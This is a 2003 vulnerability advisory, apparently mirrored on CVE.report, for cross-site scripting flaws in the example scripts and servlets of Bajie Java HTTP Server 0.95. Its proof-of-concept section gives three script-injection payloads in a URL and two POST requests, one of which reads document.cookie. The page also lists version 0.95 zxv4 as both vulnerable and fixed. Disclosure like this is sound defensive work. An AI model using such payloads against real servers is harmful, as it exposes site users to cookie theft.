Bajie HTTP Server Example Scripts And Servlets Cross-Site Scripting Vulnerability

BID:8841

Info

Bajie HTTP Server Example Scripts And Servlets Cross-Site Scripting Vulnerability

Bugtraq ID: 8841
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Oct 16 2003 12:00AM
Updated: Oct 16 2003 12:00AM
Credit: Discovery of this vulnerability has been credited to "Oliver Karow" <[email protected]>.
Vulnerable: Bajie Java HTTP Server 0.95 zxv4
Bajie Java HTTP Server 0.95 zxe1
Bajie Java HTTP Server 0.95 zxe
Bajie Java HTTP Server 0.95 zxc
Bajie Java HTTP Server 0.95 d
Bajie Java HTTP Server 0.95
Not Vulnerable:

Discussion

Bajie HTTP Server Example Scripts And Servlets Cross-Site Scripting Vulnerability

Demonstration scripts and servlets that are distributed as part of Bajie HTTP Server have been reported prone to multiple cross-site scripting vulnerabilities.

It has been reported that a remote attacker may construct a malicious link containing script and HTML code to any one of the vulnerable demonstration scripts or servlets on the affected server. If this link is followed the code contained therein will be rendered in the browser of the user who followed the link.

Exploit / POC

Bajie HTTP Server Example Scripts And Servlets Cross-Site Scripting Vulnerability

The following proof of concept has been supplied:

http://www.example.com/cgi/bin/test.txt?<script>alert(document.cookie)</script>
POST /servlet/custMsg?guestName=<script>alert("bang")</script> HTTP/1.0
POST /servlet/CookieExample?cookiename=<script>alert("bang")</script>&cookievalue=&cookiepath=
HTTP/1.0

Solution / Fix

Bajie HTTP Server Example Scripts And Servlets Cross-Site Scripting Vulnerability

Solution:
The author has fixed this issue in version 0.95zxv4 versions available on October 16th.


Bajie Java HTTP Server 0.95 d

Bajie Java HTTP Server 0.95 zxv4

Bajie Java HTTP Server 0.95 zxe

Bajie Java HTTP Server 0.95 zxe1

Bajie Java HTTP Server 0.95

Bajie Java HTTP Server 0.95 zxc

References

Bajie HTTP Server Example Scripts And Servlets Cross-Site Scripting Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report